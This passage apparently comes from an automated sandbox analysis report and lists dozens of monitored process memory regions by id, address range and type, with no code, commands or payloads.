entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4143 start_va = 0x1ac10000 end_va = 0x1ac1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac10000" filename = "" Region: id = 4144 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4145 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 4146 start_va = 0x1ad50000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 4147 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4148 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4149 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4150 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4151 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4156 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4157 start_va = 0x1ac10000 end_va = 0x1ac1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac10000" filename = "" Region: id = 4158 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4159 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4160 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4161 start_va = 0x1ac10000 end_va = 0x1ac1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac10000" filename = "" Region: id = 4162 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4163 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4164 start_va = 0x1ac10000 end_va = 0x1ac1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac10000" filename = "" Region: id = 4165 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4166 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4167 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4168 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4169 start_va = 0x1ac10000 end_va = 0x1ac1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac10000" filename = "" Region: id = 4170 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4171 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4172 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4173 start_va = 0x1ac10000 end_va = 0x1ac1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac10000" filename = "" Region: id = 4174 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4175 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4176 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4177 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4178 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4179 start_va = 0x1ac10000 end_va = 0x1ac1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac10000" filename = "" Region: id = 4180 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4181 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 4182 start_va = 0x1ad50000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 4183 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4184 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4185 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4186 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4187 start_va = 0x1ac10000 end_va = 0x1ac1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac10000" filename = "" Region: id = 4188 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4189 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 4190 start_va = 0x1ad50000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 4191 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4192 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4193 start_va = 0x1ac10000 end_va = 0x1ac1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac10000" filename = "" Region: id = 4194 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4195 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4196 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4197 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4198 start_va = 0x1ac10000 end_va = 0x1ac1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac10000" filename = "" Region: id = 4199 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4200 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4201 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4202 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4203 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4204 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4205 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4206 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4207 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4208 start_va = 0x1ac10000 end_va = 0x1ac1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac10000" filename = "" Region: id = 4209 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4210 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4211 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4212 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4213 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4214 start_va = 0x1ac10000 end_va = 0x1ac1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac10000" filename = "" Region: id = 4215 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4216 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4217 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4218 start_va = 0x1ac10000 end_va = 0x1ac1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac10000" filename = "" Region: id = 4219 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4220 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4221 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4222 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4223 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4224 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4225 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4226 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4227 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4228 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4229 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4230 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4231 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4232 start_va = 0x1abe0000 end_va = 0x1abe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001abe0000" filename = "" Region: id = 4233 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4234 start_va = 0x1ac10000 end_va = 0x1ac1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac10000" filename = "" Region: id = 4235 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4236 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 4237 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4238 start_va = 0x1ac10000 end_va = 0x1ac1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac10000" filename = "" Region: id = 4239 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4240 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 4241 start_va = 0x1abf0000 end_va = 0x1abf1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001abf0000" filename = "" Region: id = 4242 start_va = 0x1ac10000 end_va = 0x1ac1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac10000" filename = "" Region: id = 4243 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4244 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 4245 start_va = 0x1ac10000 end_va = 0x1ac1bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ac10000" filename = "" Region: id = 4246 start_va = 0x7ffaa2d10000 end_va = 0x7ffaa2d1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2d10000" filename = "" Region: id = 4247 start_va = 0x7ffaa2d20000 end_va = 0x7ffaa2d2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2d20000" filename = "" Region: id = 4248 start_va = 0x1b3c0000 end_va = 0x1b4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3c0000" filename = "" Region: id = 4249 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4250 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4251 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 4252 start_va = 0x1ad50000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 4261 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4262 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 4263 start_va = 0x1ad50000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 4264 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 4265 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4266 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4267 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 4268 start_va = 0x1ad50000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 4269 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 4270 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4271 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4272 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 4273 start_va = 0x1ad50000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 4274 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 4275 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 4276 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 4277 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4278 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4279 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4280 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 4281 start_va = 0x1b2e0000 end_va = 0x1b2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2e0000" filename = "" Region: id = 4282 start_va = 0x1b2f0000 end_va = 0x1b2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2f0000" filename = "" Region: id = 4283 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4284 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 4285 start_va = 0x1ad50000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 4286 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 4287 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 4288 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4289 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4290 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4291 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 4292 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4293 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4294 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 4295 start_va = 0x1ad50000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 4296 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4297 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 4298 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4299 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 4300 start_va = 0x1ad50000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 4301 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4302 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 4303 start_va = 0x1ad50000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 4304 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 4305 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 4306 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4307 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 4308 start_va = 0x1ad50000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 4309 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4310 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4311 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 4312 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4313 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 4314 start_va = 0x1ad50000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 4315 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 4316 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 4317 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 4318 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4319 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 4320 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4321 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 4322 start_va = 0x1ad50000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 4323 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 4324 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 4325 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 4326 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4327 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4328 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 4329 start_va = 0x1ad50000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 4330 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 4331 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4332 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 4333 start_va = 0x1ad50000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 4334 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4335 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 4336 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4337 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 4338 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4339 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 4340 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4341 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 4342 start_va = 0x1ad50000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 4343 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 4344 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 4345 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4346 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 4347 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = 